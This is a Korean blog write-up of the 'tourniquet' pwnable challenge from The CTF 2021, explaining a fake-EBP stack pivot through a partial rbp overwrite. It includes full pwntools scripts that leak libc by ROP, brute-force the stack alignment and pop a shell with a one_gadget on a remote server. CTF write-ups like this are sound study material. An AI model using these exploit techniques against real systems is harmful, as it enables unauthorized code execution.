Write up (Wargame)/SF pwnable 심화

[SF 심화반][The CTF 2021] week3_tourniquet 풀이

그믐​ 2022. 11. 9. 11:38
반응형

3주차에 배운 개념은 Fake EBP.

 

기초에서 배웠던 stack pivot의 다른 이름이었으나, 스택에서 가장 어렵고 헷갈렸던 개념이었기에 다시 풀어보는 것도 좋은 것 같습니다.

 

tourniquet
0.01MB

바이너리 출처는 The CTF 2021

 

 

분석


 

checksec을 하면 stack pivot으로는 처음 풀어보는? 64bit 문제입니다.

NX 걸려있고 나머지는 없습니다.

 

실행하면 건방진 소리를 해댑니다.

 

IDA로 보면

 

main 말고도 main_function이라는 함수가 있고 어..

stdin, stdout 버퍼 날리는게 있는건줄 알았는데.. _bss_start라는걸..? setvbuf를 사용하네요. (서버에서 그럼 stdin, stdout 버퍼때문에 안 되는게 아니었나)

 

그리고 이상한 부분은

 

cdecl main으로 되어있는데 cdecl은 32bit 함수 호출 규약인줄만 알고 있는데 바이너리가 64bit파일이라는거.

 

https://too-march.tistory.com/25

음... 64bit에서도 cdecl을 사용할 수 있나봅..니다.?

 

근데 실제로 gdb로 보면 cdecl 호출규약을 사용하지 않는 것 같습니다. 그리고 _bss_start라고 봤던 부분이 그냥 stdout인가..?

 

main function 내부에서는 64byte 배열에 72byte만 overflow가 가능하도록 되어있고,

활용할 함수로는 puts, fgets가 주어집니다.

 

fgets는 개행 혹은 n-1까지 입력받으므로 7byte를 overflow가 가능합니다.

 

익스할 방법을 생각해보고 있는데,

rbp를 덮어봤자 rbp를 원하는 곳으로 이동시키고 난 뒤에 무슨 일이 일어나느냐,

 

leave; ret;에서 leave는 mov rsp, rbp; pop rbp;라서

 

스택프레임을 정리하고 rbp를 원하는 곳, 에를들어 0x1234로 옮기면

main_function이 끝나고 main에서 다시 leave; ret;를 할텐데

 

그러면 rsp가 0x1234로 이동하고 rbp는 0x1234에 적혀있는 값을 받아서 이동, rsp는 0x1234+8이 되고 그 값으로 ret 할 것 같습니다.

 

예상대로 되는지 함 보면

 

 

 

rsp가 0x1234+8처럼 0x40060b를 넣었는데 +8인 0x400613이 된 모습.

 

근데 ret를 rsp 주소가 아니라 rsp에 있는 값으로 이동을 하니..

 

만약에 rbp로 puts_got-0x8 주소를  넣어주면 결과적으로 rsp가 puts_got를 가리키며 ret로 puts_libc를 실행시킬 것입니다.

-> 실행되긴 하는데 왠지 모를 에러가 있음.

 

결론적으로 main에서는 main_function에서 overflow 했던 주소 + 0x8에 있는 값을 실행시키는데

그러면 무엇을 실행시켜야 할까.. search 를 해봐도 볼 게 없는데.

 

fgets를 사용한 이유를 생각해보면 뒤에 null이 붙는거 때문이지 않을까 싶기도 한데.

일반적인 상태에서 AAAA\n을 입력하면 rbp에 들어있는 값은 stack 주소이다. 아래에 깔려있는 stack frame의 주소..

그러면 하위 1byte만 덮어서 partial overwrite? 하면

결론적으로  rbp에 들어있는 주소의 값을 실행시키는 거니까 rop가 가능할 것이다.

 

 

ASLR은 페이지 단위로 움직여서 스택도 그대로일까 싶었는데 역시

하위 3byte도 바뀐다. 그러면 브루트포싱.. 그냥 0x0을 넣어두고 브루트포싱을 해야할 것이다.

 

그래도 혹시 되는지 봐야하니까 set을 사용해서 스택 주소로 돌리면

앗 맞다 -8해서 넣어줘야하는데.. 암튼 실행되는걸 확인했다.

 

풀이


그러면 일단 rbp의 하위 1byte를 덮는 방식으로 s 배열(스택)으로 돌릴건데

스택의 주소가 0으로 떨어지니까. 원하는 주소부터 활용하려면 8로 떨어져 있어야 합니다.

브루트포싱은 MasterCanary 풀이에서 했던 것처럼 id 명령어를 보내고 p.can_recv를 사용

-> 생각해보니 leak을 못하면 에러가 발생해서 try except 구문을 사용했습니다. 브루트포싱 방법을 찾아보니 p.recv내에 timeout을 설정 가능

 

그리고..

 

우리가 넣었던 payload의 중간을 참조할 수도 있는걸 유념하고

 

일단 leak을 위해서 

got를 릭하는 방식으로

 

 

계에에에에ㅔ속 기다려도 안 되길래 수동으로 rop를 진행해봤습니다.

 

rbp에 스택주소 -8을 넣어두고 

첫번째부터 pop rdi, ret

puts_got

puts_plt를 넣어둔 상황

생각한 대로 실행되고

puts 실행 전 rdi 에 got가 들어감

 

아니 이렇게까지 해줬으면 돼야지..

왜...

 

혹시 sendline이 아니라 send로 해서 그런건가.

그러면 \n과 null이 추가로 들어갑니다..

 

https://thfist-1071.tistory.com/entry/Baekjoon-1152-%EB%8B%A8%EC%96%B4%EC%9D%98-%EA%B0%9C%EC%88%98

 

[Baekjoon] [1152 : 단어의 개수] 버퍼와 scanf, gets, fgets

아무래도 배우는게 있으면 그때 그때 글을 써야할 거 같습니다. 좀 있다가 쓰려니까 글 쓰기가 어렵네요. https://www.acmicpc.net/problem/1152 1152번: 단어의 개수 첫 줄에 영어 대소문자와 공백으로 이루

thfist-1071.tistory.com

과거 백준 풀 때 정리해둔 글

 

그래서 A를 마지막에 \n 들어갈 공간을 남기고 \x00이 들어가도록 하면 실행되는 부분은 0x8부터 시작이므로 앞에 8byte dummy를 줍니다.

 

그리고 중간을 참조할 수 있으니 ret를 넣어서 확률을 높힙니다.

오?

 

from pwn import *

puts_got = 0x601018
fgets_got = 0x601020
puts_plt = 0x4004e0
fgets_plt = 0x4004f0
main_fgets = 0x40060b

pop_rdi = 0x000000004006d3 #pop rdi; ret;
ret = 0x0000000004004c6 #ret;

while True :
	p = process('./tourniquet')
#	libc = e.libc

	p.recvuntil('?\n')

	payload = ''
	payload += p64(ret)*0x4
	payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
	payload += 'A'*0x7
	#+'A'*0x38 + '\x08'

	p.sendline(payload)

	try:
		puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
		print(hex(puts_libc))
		break;
		#puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
		#print(hex(puts_libc))
		#break
#		p.sendline('id')
#		check = p.can_recv(timeout=1)

#		if(check == True) :
#			p.interactive()
#			break;
	#
	except:
		p.close()

 

릭까지의 코드

puts_got 를 출력하도록 rop하였고 아마

recvn으로 1초 내에 6byte를 받지 못하면 error가 발생하는 듯.

 

그러면 이렇게 릭이 가능한 것 까지 봤습니다.

 

물론..? 이렇게 릭해서 libc를 알아내고 system을 실행할 수도 있겠지만

 

일단 서버에 보내서 서버 libc 버전을 확인하고 one_gadget으로 풀어보겠습니다.

 

와 운좋게 바로 성공

 

다른 것들도 해서 나온 결과

두 개가 나왔는데 버전 높은 걸로 11.3으로 해봅시다.

 

아니면 다른 걸로 해보고..

 

아. 쉘을 따려면 이제 다시 입력이 있도록 해야하는데..

rdx 가젯이 없군요.

 

main_fgets라고 표시해둔 주소는 rbp-0x40에서부터 0x48만큼을 stdin으로 입력받는 역할을 하고

 

그러면 

bss 등으로 rbp를 돌림

main_fgets를 실행

bss로 다시 돌림 ...

이러면 주어진 영역보다 더 많은 공간이 필요합니다.

 

그럼 만약에 main을 다시 실행시키면?

leave ret가 2번 들어있으니 다시 공격이 가능할 것 같습니다.

 

아니

 

main으로 바꿨는데 안되길래

start로 해서 다시 febp 했는데 이건 되네요.

 

from pwn import *

puts_got = 0x601018
fgets_got = 0x601020
setvbuf_got = 0x601028
puts_plt = 0x4004e0
fgets_plt = 0x4004f0
main = 0x400626
start = 0x400510

pop_rdi = 0x000000004006d3 #pop rdi; ret;
ret = 0x0000000004004c6 #ret;
leave_ret =0x000000000400624 #leave;ret;

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

while True :
	#p = process('./tourniquet')
	p = remote('server', port)

	p.recvuntil('?\n')

	payload = ''
	payload += p64(ret)*0x3
	payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
	payload += p64(start)
	payload += 'A'*0x7

	p.sendline(payload)

	try:
		puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
		print('puts_libc:',hex(puts_libc))
		libc_base = puts_libc - 0x6f6a0
		print('libc_base:',hex(libc_base))
		pause()
		p.recvuntil('?\n')
		one_shot = libc_base+one_gadget[0]
		payload = p64(ret)*0x6+p64(one_shot)
		payload += 'B'*0x7
		p.sendline(payload)
		p.interactive()
		break;
	except:
		p.close()

 

payload에 다음 주소가 main으로 지정해서 다시 입력받는 건 이상하게 꼬여버려서 불가능한데

start로 바꾸면 가능합니다. start가 다 초기화하고 처음부터 지정해서 그런건지..

 

다시 febp를 할 수 있는 이유는 이미 rbp 끝자리를 00으로 해서 stack으로 돌릴 수 있던건데, start를 하면 다시 같은 자리로.. 처음부터 시작하는 느낌..? 인 것 같습니다....ㅠ

 

다른 분 블로그에서도 start로 하면 제약사항이 줄어든다고 하시네요.

 

 

ㅎ ㅏ...

 

반응형